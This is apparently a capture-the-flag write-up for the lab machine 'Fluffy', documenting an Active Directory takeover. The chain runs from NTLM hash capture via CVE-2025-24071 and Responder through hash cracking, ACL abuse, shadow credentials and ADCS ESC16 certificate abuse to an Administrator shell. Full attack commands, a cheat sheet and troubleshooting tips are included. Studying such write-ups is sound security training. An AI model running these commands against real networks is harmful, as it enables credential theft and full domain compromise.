π Fluffy
Machine: Fluffy
Difficulty: Easy
Theme: Assumed breach β NTLM capture β ACL abuse β Shadow credentials β ADCS abuse β Administrator
π― Summary
Fluffy starts with valid low-privileged domain credentials for j.fleischman. A writable SMB share contains a PDF notice referencing CVE-2025-24071. By abusing that bug, another userβs NTLMv2 hash can be captured and cracked, giving access to p.agila.
Further Active Directory enumeration reveals a transitive ACL path:
p.agilacan be added to service accounts- that group has control over
winrm_svcandca_svc
This allows:
- shadow credential abuse to recover hashes for those service accounts
- WinRM access via
winrm_svc - ADCS abuse via
ca_svc - escalation to Administrator
1. Enumeration
Initial scanning showed:
- SMB
- LDAP / LDAPS
- Kerberos
- WinRM
This immediately identified the target as a Domain Controller.
The domain and DC hostname were added to /etc/hosts:
echo "10.10.11.69 fluffy.htb dc01.fluffy.htb" | sudo tee -a /etc/hostsA quick SMB enumeration with the provided credentials showed a writable share called IT.
nxc smb 10.10.11.69 -u 'j.fleischman' -p '<REDACTED>' --sharesThen:
smbclient '//10.10.11.69/IT' -U 'j.fleischman%<REDACTED>'
ls
get Upgrade_Notice.pdfThe interesting file was Upgrade_Notice.pdf.
2. Initial Foothold via CVE-2025-24071
The PDF referenced CVE-2025-24071, a Windows File Explorer vulnerability that can leak NTLM credentials when a crafted ZIP containing a .library-ms payload is handled.
Since the IT share was writable, the next move was:
- generate a malicious ZIP
- upload it to the share
- wait for an NTLM authentication attempt
- capture it with Responder
Create the malicious ZIP
git clone https://github.com/0x6rss/CVE-2025-24071_PoC.git
cd CVE-2025-24071_PoC
python3 poc.pyUpload it
smbclient '//10.10.11.69/IT' -U 'j.fleischman%<REDACTED>'
put exploit.zipStart Responder
sudo responder -I tun0After a short wait, an NTLMv2 hash for p.agila was captured.
Crack the hash
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txtThis recovered:
p.agila : <REDACTED>
3. Active Directory Enumeration with BloodHound
With p.agila, the AD environment was enumerated.
bloodhound-python -d fluffy.htb -u 'p.agila' -p '<REDACTED>' -dc 'dc01.fluffy.htb' -c all -ns 10.10.11.69
sudo neo4j consoleThe critical findings were:
p.agilais part of Service Account Managers- that group has GenericAll over service accounts
- the service accounts group has GenericWrite over:
ca_svcwinrm_svcldap_svc
This gave a clean privilege escalation path.
4. Add p.agila to service accounts
bloodyAD -u 'p.agila' -p '<REDACTED>' -d fluffy.htb --host 10.10.11.69 add groupMember 'service accounts' p.agilaThat successfully added p.agila to the group.
5. Shadow Credentials on Service Accounts
With the new group membership, shadow credentials were added to:
ca_svcwinrm_svc
This yielded their NT hashes.
certipy-ad shadow auto -username p.agila@fluffy.htb -password '<REDACTED>' -account ca_svc
certipy-ad shadow auto -username p.agila@fluffy.htb -password '<REDACTED>' -account winrm_svcIf Kerberos time skew becomes an issue:
sudo ntpdate dc01.fluffy.htbRecovered:
ca_svc : <REDACTED>winrm_svc : <REDACTED>
6. WinRM Shell as winrm_svc
Since winrm_svc is part of Remote Management Users, WinRM access worked immediately.
evil-winrm -u 'winrm_svc' -H <REDACTED> -i dc01.fluffy.htbFrom there:
whoami
type C:\Users\winrm_svc\Desktop\user.txtThis provided the user flag.
7. Enumerate ADCS
The next step was confirming Active Directory Certificate Services.
nxc ldap 10.10.11.69 -u 'winrm_svc' -H <REDACTED> -M adcsThen enumerate vulnerable certificate configuration:
certipy-ad find -u 'ca_svc' -hashes <REDACTED> -dc-ip 10.10.11.69 -vulnerable -enabled -stdoutThe important finding was ESC16.
8. Abuse ca_svc to Request an Administrator Certificate
The path used was:
- change the UPN of
ca_svctoadministrator - request a certificate using
ca_svc - restore the original UPN
- authenticate using the certificate
- recover Administratorβs NT hash
Change UPN
certipy-ad account update -username "p.agila@fluffy.htb" -p "<REDACTED>" -user ca_svc -upn 'administrator'Request certificate
certipy-ad req -u 'ca_svc' -hashes <REDACTED> -dc-ip '10.10.11.69' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'This generated:
administrator.pfx
Restore original UPN
certipy-ad account update -username "p.agila@fluffy.htb" -p "<REDACTED>" -user ca_svc -upn 'ca_svc@fluffy.htb'Authenticate with the certificate
certipy-ad auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.10.11.69This recovered:
Administrator NT hash: <REDACTED>
9. Final Shell as Administrator
With the Administrator NT hash, WinRM access to the DC was straightforward.
evil-winrm -u 'Administrator' -H <REDACTED> -i dc01.fluffy.htbThen:
whoami
type C:\Users\Administrator\Desktop\root.txtThis completed the box.
π Condensed Attack Chain
j.fleischman
β
Writable SMB share (IT)
β
Upgrade_Notice.pdf β CVE-2025-24071 clue
β
Responder capture
β
p.agila
β
BloodHound
β
Add p.agila to "service accounts"
β
Shadow credentials on winrm_svc + ca_svc
β
WinRM as winrm_svc
β
ADCS enumeration
β
ESC16
β
Modify ca_svc UPN to administrator
β
Request certificate
β
Authenticate as Administrator
β
WinRM as Administratorπ§ Key Takeaways
- Writable shares plus user interaction can quickly yield new credentials.
- BloodHound is most valuable when used to identify transitive control paths.
- Shadow credentials are extremely effective once ACL abuse is available.
- ADCS remains one of the most dangerous misconfiguration surfaces in AD.
- ESC16 can allow privilege escalation even when certificate templates do not immediately look obviously abusable.
β‘ Commands Cheat Sheet
# SMB enumeration
nxc smb 10.10.11.69 -u 'j.fleischman' -p '<REDACTED>' --shares
# Upload exploit
smbclient '//10.10.11.69/IT' -U 'j.fleischman%<REDACTED>'
# Responder
sudo responder -I tun0
# Crack NTLMv2
hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt
# BloodHound collection
bloodhound-python -d fluffy.htb -u 'p.agila' -p '<REDACTED>' -dc 'dc01.fluffy.htb' -c all -ns 10.10.11.69
# Add group member
bloodyAD -u 'p.agila' -p '<REDACTED>' -d fluffy.htb --host 10.10.11.69 add groupMember 'service accounts' p.agila
# Shadow creds
certipy-ad shadow auto -username p.agila@fluffy.htb -password '<REDACTED>' -account ca_svc
certipy-ad shadow auto -username p.agila@fluffy.htb -password '<REDACTED>' -account winrm_svc
# WinRM foothold
evil-winrm -u 'winrm_svc' -H <REDACTED> -i dc01.fluffy.htb
# ADCS check
nxc ldap 10.10.11.69 -u 'winrm_svc' -H <REDACTED> -M adcs
certipy-ad find -u 'ca_svc' -hashes <REDACTED> -dc-ip 10.10.11.69 -vulnerable -enabled -stdout
# UPN abuse
certipy-ad account update -username "p.agila@fluffy.htb" -p "<REDACTED>" -user ca_svc -upn 'administrator'
# Cert request
certipy-ad req -u 'ca_svc' -hashes <REDACTED> -dc-ip '10.10.11.69' -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
# Restore UPN
certipy-ad account update -username "p.agila@fluffy.htb" -p "<REDACTED>" -user ca_svc -upn 'ca_svc@fluffy.htb'
# Auth with cert
certipy-ad auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.10.11.69
# Final shell
evil-winrm -u 'Administrator' -H <REDACTED> -i dc01.fluffy.htbπ Related Manual Notes
Field-manual techniques demonstrated on this box:
- SMB_Ports_139_445 β SMB share enumeration
- Password_Cracking_Hashcat β cracking the captured NTLM hash
- AD_ACL_Abuse β ACL-based privilege abuse
- Pass_the_Certificate β ADCS certificate abuse & authentication (ESC16)
- AD_Credentialed_Enum_Windows β authenticated AD enumeration
π§ Diagnostic Map
Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks βwrongβ but the underlying step is actually salvageable.
Symptom: No NTLMv2 hash captured after uploading the malicious ZIP
Meaning: Responder is up but not on the path the victim reaches, or the share never triggered
Next: Confirm Responder is on the VPN interface (-I tun0), the IT share is writable, and a Windows user actually browses it
Symptom: certipy-ad shadow auto fails with a Kerberos / clock-skew error
Meaning: Local clock has drifted from the DC; Kerberos rejects the auth
Next: Sync time to the DC: sudo ntpdate dc01.fluffy.htb and retry
Symptom: certipy-ad find -vulnerable reports no vulnerable templates
Meaning: ESC16 is a CA-level vulnerability, not a per-template one
Next: Donβt stop at the template list; check CA settings and look for the ESC16 finding
Symptom: Logged into the cert as administrator but the original service still doesnβt work
Meaning: UPN was switched to administrator and never restored, breaking the original ca_svc account
Next: After the cert is issued, restore the original UPN (ca_svc@fluffy.htb) before doing anything else
Symptom: Have the Administrator NT hash but RDP/SMB rejects it
Meaning: Tooling needs explicit pass-the-hash + administrative SMB exec
Next: Use evil-winrm -u Administrator -H <NT_HASH> (WinRM is in scope here)
π Personal Notes
The decisive step on Fluffy is not the initial credential or the SMB share by itself. The real turning point is recognizing that p.agilaβs group relationships create a service-account control path that leads directly into both:
- a WinRM-capable account
- and a CA-related account
Once that is clear, the box becomes a clean ACL + ADCS chain rather than a collection of unrelated Windows techniques.